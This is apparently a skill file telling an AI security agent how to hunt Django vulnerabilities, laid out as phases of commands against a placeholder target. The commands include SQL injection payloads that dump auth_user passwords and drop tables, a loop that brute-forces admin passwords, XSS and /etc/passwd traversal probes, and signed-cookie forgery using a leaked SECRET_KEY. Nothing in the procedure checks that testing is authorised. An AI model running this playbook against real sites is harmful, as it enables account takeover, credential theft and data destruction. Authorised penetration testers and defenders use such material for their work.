hunt-django – skill Bảo mật cho agent AI

Django Security Hunting

Hunt Django-specific vulnerabilities focusing on Django REST Framework (DRF) permission class gaps, ORM raw query injection, template injection via |safe and mark_safe, and Django admin panel exploitation. Django's batteries-included approach creates unique attack surface: admin interface, ORM query building, DRF serializers, Channels WebSockets, and Celery task queues.

When to Use

• Target uses Python/Django (indicated by csrftoken cookie, /admin/ login, DRF browsable API, or __debug__toolbar).
• DRF API endpoints with class-based views and permission classes.
• Django Admin interface is reachable at /admin/ or custom path.
• Celery task queues process user-supplied data.
• Django Channels WebSocket endpoints exist alongside REST API.

Quick Detection

# Django fingerprinting
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/admin/login/" | grep -iE "csrftoken|sessionid|django"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com" | grep -Eo 'csrftoken|__debug__|django'

Procedure

Phase 1 — DRF Permission Class Gaps

# DRF list vs retrieve vs custom @action — each may have different permissions
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/"          # list: may be restricted
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1/"        # retrieve: may leak individual
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/me/"       # me: may work without auth

# Custom @action endpoints often miss permission checks
# Test common DRF action names
for action in "export" "import" "bulk" "search" "stats" "report" \
              "activate" "deactivate" "reset-password" "send-invite"; do
  curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users/$action/" \
    -w "%{http_code} — $action\n" -o /dev/null
done

Phase 2 — ORM Raw Query Injection

# Django raw() — direct SQL injection
requests.get("https://target.com/api/search/?q=' UNION SELECT username,password FROM auth_user--")

# Django extra() — where clause injection
requests.get("https://target.com/api/products/?category=1' OR '1'='1")

# RawSQL in annotations
requests.get("https://target.com/api/stats/?order=name'); DROP TABLE auth_user;--")

# Django cursor.execute() on user input
# Find via code review: cursor.execute(f"SELECT * FROM {table}")

Phase 3 — Django Admin Exploitation

# Admin interface discovery
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/admin/"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/django-admin/"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/administrator/"

# Admin panel session cookie analysis
# If you obtain a session cookie, decode it
echo "SESSION_COOKIE" | python3 -c "
import base64,json,zlib,sys
cookie=sys.stdin.read().strip()
data=base64.b64decode(cookie.split('.')[0]+'==')
print(json.loads(zlib.decompress(data)))
"

# Django admin brute force (check for common credentials)
for pw in admin password django admin123 changeme; do
  curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/admin/login/?next=/admin/" \
    -d "username=admin&password=$pw&csrfmiddlewaretoken=TOKEN" \
    -c /tmp/jar.txt -w "%{http_code} — $pw\n" -o /dev/null
done

Phase 4 — Django Template Injection

# mark_safe and |safe filter on user input
# If a view returns mark_safe(user_input), inject HTML/JS
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/contact/?message=<script>alert(1)</script>"

# Template injection via user-controlled template names
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/preview/?template=../../etc/passwd"

# SECRET_KEY leakage → signed cookie forgery
# If SECRET_KEY is leaked (env file, debug page, error)
python3 -c "
from django.core.signing import TimestampSigner
signer = TimestampSigner(key='LEAKED_SECRET_KEY')
print(signer.sign('admin'))
"

Phase 5 — Channels WebSocket Auth Parity

# Django Channels WebSocket — may not enforce same auth as REST
# Test WS connection with and without session cookie
wscat -c "wss://target.com/ws/chat/" -H "Cookie: sessionid=INVALID"

# Async consumers without @database_sync_to_async may have race conditions
# Test parallel WS messages to trigger race

Pitfalls

• DRF AllowAny ≠ misconfiguration. Verify the endpoint is supposed to be public before reporting.
• Django admin brute force is heavily logged. Use with caution on production targets.
• Template injection requires a sink. Django's template engine auto-escapes by default — |safe or mark_safe must be explicitly used.
• SECRET_KEY must be actually leaked. Guessing or brute-forcing SECRET_KEY is computationally infeasible.

Verification

1. DRF endpoint without IsAuthenticated returns data that should be restricted.

2. ORM raw query injection produces a database error or data exfiltration.

3. Django admin session cookie decoded successfully reveals user ID and session data.

4. Template injection executes JavaScript or reads server files.

Related Skills

• hunt-sqli — Django ORM raw query injection chains to full SQL injection.
• hunt-ssti — Django template injection via user-controlled template names.
• hunt-idor — DRF permission gaps leading to object-level access.